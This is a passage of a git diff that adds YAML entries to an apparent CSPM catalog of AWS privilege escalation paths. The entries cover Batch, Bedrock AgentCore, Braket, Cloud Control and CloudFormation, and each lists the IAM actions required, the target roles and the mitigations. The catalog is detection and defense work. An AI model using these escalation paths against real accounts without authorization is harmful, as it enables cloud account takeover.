https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-getting-started.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_CreateWorkGroup.html + notes: Generic PassRole path independent of existing sessions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml new file mode 100644 index 0000000000..10bb023cf7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/batch.yaml @@ -0,0 +1,51 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Batch privilege escalation techniques. +# Source: hacktricks-cloud aws-batch-privesc/README.md. + +- id: aws-batch-registerjobdefinition-passrole-submitjob + provider: aws + service: batch + title: Register a Batch job definition with a passed job role and submit it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchregisterjobdefinition-iampassrole--batchsubmitjob--run-a-container-as-a-passed-role + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by registering a job definition that runs its own container with that role as the job role and submitting a job from it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: batch:RegisterJobDefinition + resource: "*" + - action: batch:SubmitJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - batch_new_job_and_ec2_queue_authorized + conditions: + - id: job_queue_available + description: batch:SubmitJob must cover the new job definition and an existing job queue with a VALID, ENABLED compute environment. + - id: fargate_execution_role + description: On Fargate compute environments the job definition must also carry an execution role (passed with iam:PassRole); on EC2 compute environments it is optional. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ecs-tasks roles with iam:PassedToService, restrict batch:RegisterJobDefinition to the deployment pipeline, and scope batch:SubmitJob to exact job-definition revisions. + references: + - https://docs.aws.amazon.com/batch/latest/userguide/job_definition_parameters.html + - https://docs.aws.amazon.com/batch/latest/userguide/execution-IAM-role.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_batch.html + notes: The Service Authorization Reference lists iam:PassRole as a dependent action of batch:RegisterJobDefinition, and the job definition reference states jobRoleArn is an ECS task IAM role. The evaluator checks one unused job-definition name, its first revision and the same enabled EC2 queue with matching RegisterJobDefinition and SubmitJob grants. Other restricted names, incomplete inventories and Fargate execution-role requirements remain unresolved. Jobs on Amazon EKS compute environments use a Kubernetes service account instead of jobRoleArn and are not covered. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml new file mode 100644 index 0000000000..09f5306bd1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bedrock.yaml @@ -0,0 +1,208 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Bedrock / Bedrock AgentCore privilege escalation techniques. +# Source: hacktricks-cloud aws-bedrock-privesc/README.md and aws-bedrock-agentcore-privesc/README.md (rev 171e422299). + +- id: aws-bedrock-agentcore-createcodeinterpreter-passrole + provider: aws + service: bedrock + title: Create an AgentCore Code Interpreter with a passed execution role and run code in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--code-execution-sandbox-as-a-role + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting bedrock-agentcore.amazonaws.com by creating + a Code Interpreter with that execution role and invoking it. + requires: + all_of: + - action: bedrock-agentcore:CreateCodeInterpreter + resource: '*' + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:StartCodeInterpreterSession + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:code-interpreter-custom/* + bind: new_interpreter + - action: bedrock-agentcore:InvokeCodeInterpreter + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:code-interpreter-custom/* + bind: new_interpreter + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting bedrock-agentcore.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - agentcore_new_interpreter_broad_name_and_role_ready + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: generated_interpreter_id + description: StartCodeInterpreterSession and InvokeCodeInterpreter must cover a fresh custom interpreter name and every service-generated suffix of its ID. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole for AgentCore execution roles and bedrock-agentcore:CreateCodeInterpreter. + references: [] + notes: CreateBrowser with InvokeBrowser is an equivalent sandbox path under the same execution role; it is not + modelled separately. + + +- id: aws-bedrock-agent-lambda-actiongroup-hijack + provider: aws + service: bedrock + title: Modify a Lambda action-group function and trigger it through a Bedrock agent + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#lambdaupdatefunctioncode-bedrockinvokeagent---agent-tool-hijacking-via-lambda + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of a Lambda function used as a Bedrock agent action group by changing its code and invoking the agent. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.attached_resource_arn}" + - action: bedrock:InvokeAgent + resource: "*" + target: + kind: aws_role + selector: + attached_to_service: lambda + attached_resource_covered_by: lambda:UpdateFunctionCode + scope: same_account + aggregate_as: "Execution roles of Lambda functions behind Bedrock agent action groups in {account}" + conditions: + - id: function_is_action_group + description: The covered function must be the executor of an action group of a Bedrock agent alias that the source can invoke (bedrock:InvokeAgent Resource is the agent-alias ARN). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict lambda:UpdateFunctionCode on agent tool functions and keep their execution roles least-privileged. + references: + - https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_AgentActionGroup.html + notes: Alternative trigger to lambda:InvokeFunction; the generic UpdateFunctionCode technique is in lambda.yaml (part B). + +- id: aws-bedrock-agentcore-createharness-passrole + provider: aws + service: bedrock + title: Create an AgentCore harness with a passed execution role and run shell commands in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateharness-iampassrole-invokeagentruntimecommand--root-shell-as-a-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by creating a harness with that execution role and running commands in its runtime. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: bedrock-agentcore:CreateHarness + resource: "*" + - action: bedrock-agentcore:CreateAgentRuntime + resource: "*" + - action: bedrock-agentcore:CreateAgentRuntimeEndpoint + resource: "*" + - action: bedrock-agentcore:InvokeAgentRuntimeCommand + resource: "*" + - action: bedrock-agentcore:InvokeAgentRuntime + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: composite_create_permissions + description: Harness creation also needs CreateWorkloadIdentity, GetAgentRuntime and related read actions; CreateMemory may be needed depending on configuration. + - id: runtime_identity_slr + description: The account must already have the AWSServiceRoleForBedrockAgentCoreRuntimeIdentity service-linked role, or the source must be able to create it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope iam:PassRole to dedicated low-privilege AgentCore roles with iam:PassedToService=bedrock-agentcore.amazonaws.com and deny bedrock-agentcore:InvokeAgentRuntimeCommand unless direct shell access is required. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-permissions.html + notes: Composite operation; only the core actions are modelled and the remaining provisioning actions are a condition. + +- id: aws-bedrock-agentcore-createagentruntime-passrole + provider: aws + service: bedrock + title: Create an AgentCore agent runtime with a passed role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateagentruntime--createagentruntimeendpoint-iampassrole--run-an-attacker-container-as-a-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by running a runtime artifact it controls under that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: bedrock-agentcore:CreateAgentRuntime + resource: "*" + - action: bedrock-agentcore:CreateAgentRuntimeEndpoint + resource: "*" + - action: bedrock-agentcore:InvokeAgentRuntime + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: artifact_pullable + description: The container image or code package must be retrievable by the service under the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope iam:PassRole for bedrock-agentcore.amazonaws.com roles, restrict runtime creation to the deployment pipeline and allow only approved registries. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_CreateAgentRuntime.html + notes: The aws-bedrock-privesc page describes the same technique; it is sourced here at the AgentCore page. + +- id: aws-bedrock-agentcore-updateagentruntime-passrole + provider: aws + service: bedrock + title: Repoint an existing AgentCore agent runtime to a passed role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--repoint-an-existing-resources-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by updating an existing runtime's role and artifact and invoking it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: bedrock-agentcore:UpdateAgentRuntime + resource: "*" + - action: bedrock-agentcore:InvokeAgentRuntime + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: existing_runtime + description: An agent runtime must exist within the UpdateAgentRuntime and InvokeAgentRuntime Resource scope. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict bedrock-agentcore:UpdateAgentRuntime to the deployment pipeline, scope iam:PassRole for AgentCore roles and alert on role or image changes. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_UpdateAgentRuntime.html + notes: UpdateGateway is not modelled because a gateway's role is only used by the service to call configured targets, not to run caller code. UpdateCodeInterpreter-style variants are covered by the create entries where they exist. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bounded-effects-v5.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml new file mode 100644 index 0000000000..455e26ca54 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/braket.yaml @@ -0,0 +1,47 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Braket privilege escalation techniques. +# Source: hacktricks-cloud aws-braket-privesc/README.md (rev 171e422299). + +- id: aws-braket-passrole-createjob + provider: aws + service: braket + title: Create a Braket hybrid job with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-braket-privesc/README.md#braketcreatejob--iampassrole + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any passable role trusting braket.amazonaws.com by running job + code it controls. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: braket.amazonaws.com + - action: braket:CreateJob + resource: '*' + target: + kind: aws_role + selector: + trust_allows_service: braket.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting braket.amazonaws.com passable in {account} + outcome: workload_execution + conditions: + - id: controlled_job_code + description: The job algorithm script or container image must be one the source controls (S3 object or ECR image + it can write or read). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Braket job roles with iam:PassedToService and limit braket:CreateJob. + references: + - https://docs.aws.amazon.com/braket/latest/APIReference/API_CreateJob.html + notes: Reach is roles trusting braket.amazonaws.com in PassRole scope. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml new file mode 100644 index 0000000000..78149a7969 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/budgets.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Budgets privilege escalation techniques. +# Source: hacktricks-cloud aws-budgets-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/bulk-principal-v6.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/challenge-v3.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml new file mode 100644 index 0000000000..5d7d5e26f7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/chatbot.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Chatbot (Amazon Q Developer in chat applications) privilege escalation techniques. +# Source: hacktricks-cloud aws-chatbot-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml new file mode 100644 index 0000000000..d8b957fe98 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/chime.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS chime privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml new file mode 100644 index 0000000000..ca636cf1d2 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudcontrol.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Cloud Control API privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudcontrol-privesc/README.md (rev 171e422299). +# Cloud Control API actions use the cloudformation: IAM prefix. + +- id: aws-cloudcontrol-passrole-createresource + provider: aws + service: cloudcontrol + title: Create an administrator user through Cloud Control API with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudcontrol-privesc/README.md#cloudformationcreateresource-or-updateresource--iampassrole + source_revision: 171e422299 + summary: The source can use a passable CloudFormation role to create an IAM user with an administrator policy and a chosen console password through Cloud Control. + requires: + all_of: + - action: cloudformation:CreateResource + resource: "*" + target: + kind: aws_account_admin + selector: + any_principal_in_scope: true + scope: same_account + outcome: scope_control + aggregate_as: "Administrator of {account} through Cloud Control" + preconditions: + - cloudcontrol_source_can_create_admin_user + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may exclude cloudformation.amazonaws.com. + - id: iam_user_resource + description: The passed role must create one new IAM user, set a chosen console password, and attach or write administrator permissions on that same user. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles with iam:PassedToService and specific role ARNs; deny cloudformation:CreateResource/UpdateResource to principals that should not provision resources directly. + references: + - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/resource-operations.html + - https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_CreateResource.html + - https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/TemplateReference/aws-resource-iam-user.html + notes: Cloud Control assumes a passable role through cloudformation.amazonaws.com. The evaluator requires the role to create, read, and give a console password and administrator policy to one new IAM user. Other Cloud Control resource types need their own permission and outcome checks. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml new file mode 100644 index 0000000000..5273b4319a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudformation.yaml @@ -0,0 +1,333 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CloudFormation privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudformation-privesc/ (README.md and sub-page). + +- id: aws-cloudformation-passrole-createstack + provider: aws + service: cloudformation + title: Create a stack with a passed CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatestack + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role through a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:CreateStack + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + preconditions: + - cloudformation_new_stack_with_role + conditions: + - id: passrole_condition_key + description: iam:PassedToService / cloudformation:RoleArn conditions may restrict this. + - id: template_effects + description: A caller-controlled inline template must create a resource action supported by the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html + notes: The sub-page iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md describes the same edge (DescribeStacks only helps read outputs). Severity critical because CloudFormation service roles are frequently admin-equivalent. + +- id: aws-cloudformation-passrole-updatestack + provider: aws + service: cloudformation + title: Update a stack with a passed CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationupdatestack-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role by updating an existing stack with a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:UpdateStack + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + conditions: + - id: stack_policy + description: A stack policy denying updates may require cloudformation:SetStackPolicy (or a temporary override policy on the update). + - id: passrole_condition_key + description: iam:PassedToService / cloudformation:RoleArn conditions may restrict this. + preconditions: + - cloudformation_existing_stack_updatable_with_role + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: [] + notes: Needs at least one existing stack covered by cloudformation:UpdateStack. + +- id: aws-cloudformation-updatestack-attached-role + provider: aws + service: cloudformation + title: Update a stack through its attached CloudFormation service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationupdatestack-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can change a stack's template using the service role already attached to that exact stack, without passing the role again. + requires: + all_of: + - action: cloudformation:UpdateStack + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + via_resource_type: cloudformation_stack + attached_resource_covered_by: cloudformation:UpdateStack + scope: same_account + aggregate_as: "CloudFormation service roles on updatable stacks in {account}" + outcome: impersonation + preconditions: + - cloudformation_attached_role_stack_updatable + conditions: + - id: stack_policy + description: A stack policy may prevent changes to protected resources unless the caller can supply an override. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope cloudformation:UpdateStack to stacks whose attached service roles are appropriate for the updater, and restrict the roles' permissions. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_UpdateStack.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/using-iam-servicerole.html + notes: CloudFormation continues to use the stack's attached role for future operations even when the updater cannot pass that role. The evaluator requires the recorded RoleARN on the same updatable stack covered by UpdateStack. + +- id: aws-cloudformation-changeset-attached-role + provider: aws + service: cloudformation + title: Execute a change set through a stack's attached service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationcreatechangeset-cloudformationexecutechangeset-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can supply and execute a change set on an existing stack that already carries a CloudFormation service role. + requires: + all_of: + - action: cloudformation:CreateChangeSet + resource: "{target.attached_resource_arn}" + - action: cloudformation:ExecuteChangeSet + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + via_resource_type: cloudformation_stack + attached_resource_covered_by: cloudformation:CreateChangeSet + scope: same_account + aggregate_as: "CloudFormation service roles on updatable stacks in {account}" + outcome: impersonation + preconditions: + - cloudformation_attached_role_changeset_executable + conditions: + - id: stack_policy + description: A stack policy may prevent changes to protected resources. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope change set creation and execution to stacks whose attached service roles are appropriate for the caller, and restrict the roles' permissions. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_CreateChangeSet.html + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_ExecuteChangeSet.html + notes: CloudFormation keeps using the stack's attached role when no new RoleARN is supplied. The evaluator requires both actions on the same recorded, updatable stack carrying that role. + +- id: aws-cloudformation-passrole-changeset + provider: aws + service: cloudformation + title: Create and execute a change set with a passed service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatechangeset-cloudformationexecutechangeset-and-where-needed-cloudformationsetstackpolicy + source_revision: 171e422299 + summary: The source can make CloudFormation run resource operations allowed by a passable service role by creating and executing a change set with a template it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cloudformation.amazonaws.com + - action: cloudformation:CreateChangeSet + resource: "*" + - action: cloudformation:ExecuteChangeSet + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: cloudformation.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting cloudformation.amazonaws.com in {account}" + outcome: impersonation + preconditions: + - cloudformation_new_changeset_with_role + conditions: + - id: template_effects + description: A CREATE-type change set needs a caller-controlled inline template with a resource action supported by the passed role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CloudFormation service roles and use the cloudformation:RoleArn condition key. + references: [] + notes: A CREATE-type change set can create a new stack, so no existing stack is required. + +- id: aws-cloudformation-passrole-stackset + provider: aws + service: cloudformation + title: Create or update a self-managed StackSet with a passed administration role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#iampassrole-cloudformationcreatestackset--cloudformationupdatestackset + source_revision: 6fb9ac51fd + summary: The source can run template resource operations through an execution role that the passed administration + role can assume when a new or existing self-managed StackSet can reach that role's account. + pivot_resource_type: aws_stackset_administration_role + requires: + all_of: + - action: iam:PassRole + resource: '{pivot}' + request_context: + iam:PassedToService: cloudformation.amazonaws.com + any_of: + - - action: cloudformation:CreateStackSet + resource: '*' + - action: cloudformation:CreateStackInstances + resource: '*' + - - action: cloudformation:UpdateStackSet + resource: '*' + target: + kind: aws_role + selector: + assumable_by_pivot_role: true + scope: org + aggregate_as: StackSet execution roles assumable by passable administration roles (from {account}) + outcome: impersonation + conditions: + - id: execution_role_name_chosen_by_source + description: The source chooses ExecutionRoleName (default AWSCloudFormationStackSetExecutionRole), so any role + in a target account that the administration role can assume is reachable, not only the default name. + - id: target_account_reachable + description: A new StackSet requires CreateStackSet and CreateStackInstances on the same generated StackSet and its + target account; an update requires an existing self-managed instance in that account. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which administration roles can be passed. + - id: service_managed_stacksets + description: Service-managed StackSets do not use a passed role and are not covered by this entry. The service-managed + variant is covered by aws-cloudformation-service-managed-stackset-org-members. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on StackSet administration roles, scope the administration role's sts:AssumeRole + to specific execution roles, and scope execution-role trust policies to the administration role ARN. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-prereqs-self-managed.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awscloudformation.html + notes: '{pivot} is the StackSet administration role (a role trusting cloudformation.amazonaws.com that the source + can pass). The target is an execution role that pivot can assume. For creation, the evaluator checks CreateStackSet + with that administration role and CreateStackInstances on both the same generated StackSet ARN and a target-account + ARN. For updates it requires a recorded SELF_MANAGED StackSet instance in the target account and UpdateStackSet on + that exact StackSet and target. The template''s actual effects remain conditional.' + + +- id: aws-cloudformation-registertype-passrole-extension + provider: aws + service: cloudformation + title: Register a private CloudFormation extension with a passed execution role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationregistertype-iampassrole-and-an-extension-invocation-path + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting resources.cloudformation.amazonaws.com, because the handler code of a private resource type or Hook it registers runs with the passed execution role when invoked. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: resources.cloudformation.amazonaws.com + - action: cloudformation:RegisterType + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: resources.cloudformation.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "CloudFormation extension execution roles (trusting resources.cloudformation.amazonaws.com) passable in {account}" + outcome: workload_execution + preconditions: + - cloudformation_extension_package_and_invocation + conditions: + - id: handler_package_readable + description: The source must be able to supply a handler package in S3 that CloudFormation can read during registration. + - id: invocation_path + description: The registered resource type must be invoked through Cloud Control CreateResource or a stack operation on a usable stack. + - id: passrole_condition_key + description: iam:PassedToService conditions on the PassRole grant may restrict passing the execution role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict cloudformation:RegisterType/ActivateType to platform administrators, restrict iam:PassRole on extension execution roles, and keep extension roles least-privileged. + references: + - https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_RegisterType.html + - 